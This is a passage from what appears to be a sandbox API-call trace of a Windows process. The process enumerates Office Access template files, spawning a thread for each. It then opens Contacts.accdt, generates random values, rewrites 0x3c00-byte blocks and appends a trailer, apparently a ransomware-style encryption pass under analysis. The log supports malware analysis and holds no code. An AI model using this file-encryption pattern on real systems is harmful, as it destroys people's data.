cAlternateFileName="CATEGO~1.ACC")) returned 1 [0126.968] wcscmp (_String1="Category.accft", _String2=".") returned 1 [0126.968] wcscmp (_String1="Category.accft", _String2="..") returned 1 [0126.968] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x1b863010 [0126.968] wcscpy (in: _Dest=0x1b863010, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType" [0126.968] wcscat (in: _Dest=0x1b863010, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\" [0126.968] wcscat (in: _Dest=0x1b863010, _Source="Category.accft" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Category.accft") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Category.accft" [0126.968] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b863010, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa00 [0126.969] FindNextFileW (in: hFindFile=0x1cd9c0d0, lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34067500, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14f30ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x34067500, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x1134, dwReserved0=0x0, dwReserved1=0x0, cFileName="Name.accft", cAlternateFileName="NAME~1.ACC")) returned 1 [0126.969] wcscmp (_String1="Name.accft", _String2=".") returned 1 [0126.970] wcscmp (_String1="Name.accft", _String2="..") returned 1 [0126.970] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x4205d5f0 [0126.970] wcscpy (in: _Dest=0x4205d5f0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType" [0126.970] wcscat (in: _Dest=0x4205d5f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\" [0126.970] wcscat (in: _Dest=0x4205d5f0, _Source="Name.accft" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Name.accft") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Name.accft" [0126.970] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205d5f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb50 [0126.971] FindNextFileW (in: hFindFile=0x1cd9c0d0, lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5eb000, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14f56c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c5eb000, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x1109, dwReserved0=0x0, dwReserved1=0x0, cFileName="Payment Type.accft", cAlternateFileName="PAYMEN~1.ACC")) returned 1 [0126.971] wcscmp (_String1="Payment Type.accft", _String2=".") returned 1 [0126.971] wcscmp (_String1="Payment Type.accft", _String2="..") returned 1 [0126.971] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x1b8632d0 [0126.971] wcscpy (in: _Dest=0x1b8632d0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType" [0126.971] wcscat (in: _Dest=0x1b8632d0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\" [0126.971] wcscat (in: _Dest=0x1b8632d0, _Source="Payment Type.accft" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Payment Type.accft") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Payment Type.accft" [0126.971] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b8632d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x57c [0126.972] FindNextFileW (in: hFindFile=0x1cd9c0d0, lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x484a7200, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14f56c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x484a7200, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x10d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Phone.accft", cAlternateFileName="PHONE~1.ACC")) returned 1 [0126.972] wcscmp (_String1="Phone.accft", _String2=".") returned 1 [0126.972] wcscmp (_String1="Phone.accft", _String2="..") returned 1 [0126.972] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1b862d50 [0126.972] wcscpy (in: _Dest=0x1b862d50, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType" [0126.972] wcscat (in: _Dest=0x1b862d50, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\" [0126.973] wcscat (in: _Dest=0x1b862d50, _Source="Phone.accft" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Phone.accft") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Phone.accft" [0126.973] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b862d50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9e0 [0126.974] FindNextFileW (in: hFindFile=0x1cd9c0d0, lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54363400, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14f56c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54363400, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x112d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Priority.accft", cAlternateFileName="PRIORI~1.ACC")) returned 1 [0126.974] wcscmp (_String1="Priority.accft", _String2=".") returned 1 [0126.974] wcscmp (_String1="Priority.accft", _String2="..") returned 1 [0126.974] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x1b862b40 [0126.974] wcscpy (in: _Dest=0x1b862b40, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType" [0126.974] wcscat (in: _Dest=0x1b862b40, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\" [0126.974] wcscat (in: _Dest=0x1b862b40, _Source="Priority.accft" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Priority.accft") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Priority.accft" [0126.974] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b862b40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x580 [0126.975] FindNextFileW (in: hFindFile=0x1cd9c0d0, lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5d4200, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14f56c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b5d4200, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x1062, dwReserved0=0x0, dwReserved1=0x0, cFileName="Start End Dates.accft", cAlternateFileName="STARTE~1.ACC")) returned 1 [0126.975] wcscmp (_String1="Start End Dates.accft", _String2=".") returned 1 [0126.975] wcscmp (_String1="Start End Dates.accft", _String2="..") returned 1 [0126.975] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x20278830 [0126.975] wcscpy (in: _Dest=0x20278830, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType" [0126.975] wcscat (in: _Dest=0x20278830, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\" [0126.975] wcscat (in: _Dest=0x20278830, _Source="Start End Dates.accft" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Start End Dates.accft") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Start End Dates.accft" [0126.975] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20278830, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x584 [0126.976] FindNextFileW (in: hFindFile=0x1cd9c0d0, lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x687a3100, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14f56c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x687a3100, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x1135, dwReserved0=0x0, dwReserved1=0x0, cFileName="Status.accft", cAlternateFileName="STATUS~1.ACC")) returned 1 [0126.976] wcscmp (_String1="Status.accft", _String2=".") returned 1 [0126.976] wcscmp (_String1="Status.accft", _String2="..") returned 1 [0126.976] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1b862880 [0126.977] wcscpy (in: _Dest=0x1b862880, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType" [0126.977] wcscat (in: _Dest=0x1b862880, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\" [0126.977] wcscat (in: _Dest=0x1b862880, _Source="Status.accft" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Status.accft") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Status.accft" [0126.977] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b862880, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x588 [0126.977] FindNextFileW (in: hFindFile=0x1cd9c0d0, lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7334c600, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14f56c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7334c600, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x10f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tags.accft", cAlternateFileName="TAGS~1.ACC")) returned 1 [0126.977] wcscmp (_String1="Tags.accft", _String2=".") returned 1 [0126.978] wcscmp (_String1="Tags.accft", _String2="..") returned 1 [0126.978] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x4205d550 [0126.978] wcscpy (in: _Dest=0x4205d550, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType" [0126.978] wcscat (in: _Dest=0x4205d550, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\" [0126.978] wcscat (in: _Dest=0x4205d550, _Source="Tags.accft" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Tags.accft") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Tags.accft" [0126.978] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205d550, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x58c [0126.979] FindNextFileW (in: hFindFile=0x1cd9c0d0, lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7334c600, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14f56c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7334c600, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x10f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tags.accft", cAlternateFileName="TAGS~1.ACC")) returned 0 [0126.979] FindClose (in: hFindFile=0x1cd9c0d0 | out: hFindFile=0x1cd9c0d0) returned 1 [0126.981] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd98d00) returned 1 [0126.981] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85bac0) returned 1 [0126.981] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b520) returned 1 Thread: id = 1624 os_tid = 0x1ad8 [0125.390] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Contacts.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\contacts.accdt")) returned 0x20 [0125.391] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Contacts.accdt", dwFileAttributes=0x20) returned 1 [0129.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Contacts.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\contacts.accdt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1814 [0129.117] GetFileSizeEx (in: hFile=0x1814, lpFileSize=0x228bfd00 | out: lpFileSize=0x228bfd00*=869804) returned 1 [0129.118] SetFilePointerEx (in: hFile=0x1814, liDistanceToMove=0xd45a8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.118] ReadFile (in: hFile=0x1814, lpBuffer=0x228bfc80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x228bfcc8, lpOverlapped=0x0 | out: lpBuffer=0x228bfc80*, lpNumberOfBytesRead=0x228bfcc8*=0x4, lpOverlapped=0x0) returned 1 [0129.121] SetFilePointerEx (in: hFile=0x1814, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.121] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264e90 [0129.121] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264ef0 [0129.121] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264f20 [0129.121] NtQuerySystemTime (in: CurrentTime=0x228bfbc0 | out: CurrentTime=0x228bfbc0*=132462177343858000) returned 0x0 [0129.122] RtlRandomEx (in: Seed=0x228bfbb0 | out: Seed=0x228bfbb0) returned 0x118c589e [0129.122] RtlRandomEx (in: Seed=0x228bfbb0 | out: Seed=0x228bfbb0) returned 0x4a6626a1 [0129.122] RtlRandomEx (in: Seed=0x228bfbb0 | out: Seed=0x228bfbb0) returned 0x14b8b717 [0129.122] RtlRandomEx (in: Seed=0x228bfbb0 | out: Seed=0x228bfbb0) returned 0x4cac6696 [0129.122] RtlRandomEx (in: Seed=0x228bfbb0 | out: Seed=0x228bfbb0) returned 0x5171af9f [0129.122] RtlRandomEx (in: Seed=0x228bfbb0 | out: Seed=0x228bfbb0) returned 0x6268a041 [0129.122] RtlRandomEx (in: Seed=0x228bfbb0 | out: Seed=0x228bfbb0) returned 0x3b79af1e [0129.122] RtlRandomEx (in: Seed=0x228bfbb0 | out: Seed=0x228bfbb0) returned 0x4d95bd2 [0129.122] RtlRandomEx (in: Seed=0x228bfbb0 | out: Seed=0x228bfbb0) returned 0x207cddc0 [0129.122] RtlRandomEx (in: Seed=0x228bfbb0 | out: Seed=0x228bfbb0) returned 0xc6ad739 [0129.122] RtlRandomEx (in: Seed=0x228bfbb0 | out: Seed=0x228bfbb0) returned 0x3848789a [0129.122] RtlRandomEx (in: Seed=0x228bfbb0 | out: Seed=0x228bfbb0) returned 0x46a8a031 [0129.122] RtlRandomEx (in: Seed=0x228bfbb0 | out: Seed=0x228bfbb0) returned 0x4e66e023 [0129.122] RtlRandomEx (in: Seed=0x228bfbb0 | out: Seed=0x228bfbb0) returned 0x5140de26 [0129.122] RtlRandomEx (in: Seed=0x228bfbb0 | out: Seed=0x228bfbb0) returned 0x18df51de [0129.122] RtlRandomEx (in: Seed=0x228bfbb0 | out: Seed=0x228bfbb0) returned 0x472c208f [0129.122] RtlRandomEx (in: Seed=0x228bfbb0 | out: Seed=0x228bfbb0) returned 0x539cf454 [0129.122] RtlRandomEx (in: Seed=0x228bfbb0 | out: Seed=0x228bfbb0) returned 0x61d009c5 [0129.122] RtlRandomEx (in: Seed=0x228bfbb0 | out: Seed=0x228bfbb0) returned 0x16f06835 [0129.122] RtlRandomEx (in: Seed=0x228bfbb0 | out: Seed=0x228bfbb0) returned 0x7b1e6e58 [0129.122] RtlRandomEx (in: Seed=0x228bfbb0 | out: Seed=0x228bfbb0) returned 0x39cf1719 [0129.123] RtlRandomEx (in: Seed=0x228bfbb0 | out: Seed=0x228bfbb0) returned 0x79164371 [0129.123] RtlRandomEx (in: Seed=0x228bfbb0 | out: Seed=0x228bfbb0) returned 0x20cc65df [0129.123] RtlRandomEx (in: Seed=0x228bfbb0 | out: Seed=0x228bfbb0) returned 0x6d4d1bf4 [0129.123] RtlRandomEx (in: Seed=0x228bfbb0 | out: Seed=0x228bfbb0) returned 0x40440d0b [0129.123] RtlRandomEx (in: Seed=0x228bfbb0 | out: Seed=0x228bfbb0) returned 0x6baf9fb2 [0129.123] RtlRandomEx (in: Seed=0x228bfbb0 | out: Seed=0x228bfbb0) returned 0x3f223e3 [0129.123] RtlRandomEx (in: Seed=0x228bfbb0 | out: Seed=0x228bfbb0) returned 0x617b65a3 [0129.123] RtlRandomEx (in: Seed=0x228bfbb0 | out: Seed=0x228bfbb0) returned 0x7742ae [0129.123] RtlRandomEx (in: Seed=0x228bfbb0 | out: Seed=0x228bfbb0) returned 0x61223b02 [0129.123] RtlRandomEx (in: Seed=0x228bfbb0 | out: Seed=0x228bfbb0) returned 0x1201e53e [0129.123] RtlRandomEx (in: Seed=0x228bfbb0 | out: Seed=0x228bfbb0) returned 0x59490f34 [0129.138] SetFilePointerEx (in: hFile=0x1814, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.138] ReadFile (in: hFile=0x1814, lpBuffer=0x41f26910, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x228bfc20, lpOverlapped=0x0 | out: lpBuffer=0x41f26910*, lpNumberOfBytesRead=0x228bfc20*=0x3c00, lpOverlapped=0x0) returned 1 [0129.141] SetFilePointerEx (in: hFile=0x1814, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.141] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c490 [0129.141] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e990 [0129.141] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264e90 [0129.141] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264e90) returned 1 [0129.141] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f35950 [0129.142] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264e90 [0129.142] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264f20 [0129.142] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264f20) returned 1 [0129.142] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e990) returned 1 [0129.142] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c490) returned 1 [0129.142] WriteFile (hFile=0x1814, lpBuffer=0x41f35950, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x228bfc20, lpOverlapped=0x0) [0180.152] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f35950) returned 1 [0180.152] SetFilePointerEx (in: hFile=0x1814, liDistanceToMove=0x6cc00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.152] ReadFile (in: hFile=0x1814, lpBuffer=0x41f26910, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x228bfc20, lpOverlapped=0x0 | out: lpBuffer=0x41f26910*, lpNumberOfBytesRead=0x228bfc20*=0x3c00, lpOverlapped=0x0) returned 1 [0182.849] SetFilePointerEx (in: hFile=0x1814, liDistanceToMove=0x6cc00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.849] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058740 [0182.850] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba9e0 [0182.850] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42052680 [0182.851] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42052680) returned 1 [0182.851] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42082140 [0182.851] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42052680 [0182.851] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053160 [0182.852] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053160) returned 1 [0182.852] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba9e0) returned 1 [0182.852] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058740) returned 1 [0182.853] WriteFile (in: hFile=0x1814, lpBuffer=0x42082140*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x228bfc20, lpOverlapped=0x0 | out: lpBuffer=0x42082140*, lpNumberOfBytesWritten=0x228bfc20*=0x3c00, lpOverlapped=0x0) returned 1 [0198.817] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42082140) returned 1 [0198.817] SetFilePointerEx (in: hFile=0x1814, liDistanceToMove=0xd09ac, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.817] ReadFile (in: hFile=0x1814, lpBuffer=0x41f26910, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x228bfc20, lpOverlapped=0x0 | out: lpBuffer=0x41f26910*, lpNumberOfBytesRead=0x228bfc20*=0x3c00, lpOverlapped=0x0) returned 1 [0199.177] SetFilePointerEx (in: hFile=0x1814, liDistanceToMove=0xd09ac, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.177] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c8a0 [0199.177] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868dc0 [0199.177] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202676b0 [0199.178] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202676b0) returned 1 [0199.178] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42d77ca0 [0199.179] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202676b0 [0199.179] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265d60 [0199.180] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265d60) returned 1 [0199.180] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868dc0) returned 1 [0199.181] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c8a0) returned 1 [0199.181] WriteFile (in: hFile=0x1814, lpBuffer=0x42d77ca0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x228bfc20, lpOverlapped=0x0 | out: lpBuffer=0x42d77ca0*, lpNumberOfBytesWritten=0x228bfc20*=0x3c00, lpOverlapped=0x0) returned 1 [0209.990] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d77ca0) returned 1 [0209.990] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x430e9f30 [0209.990] SetFilePointerEx (in: hFile=0x1814, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0209.990] WriteFile (in: hFile=0x1814, lpBuffer=0x134940*, nNumberOfBytesToWrite=0x14e, lpNumberOfBytesWritten=0x228bfcd0, lpOverlapped=0x0 | out: lpBuffer=0x134940*, lpNumberOfBytesWritten=0x228bfcd0*=0x14e, lpOverlapped=0x0) returned 1 [0217.607] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62690 [0217.608] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceb9f60 [0217.608] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500170 [0217.609] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500170) returned 1 [0217.609] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x20500170 [0217.609] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500140 [0217.609] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500080 [0217.610] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500080) returned 1 [0217.610] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceb9f60) returned 1 [0217.611] 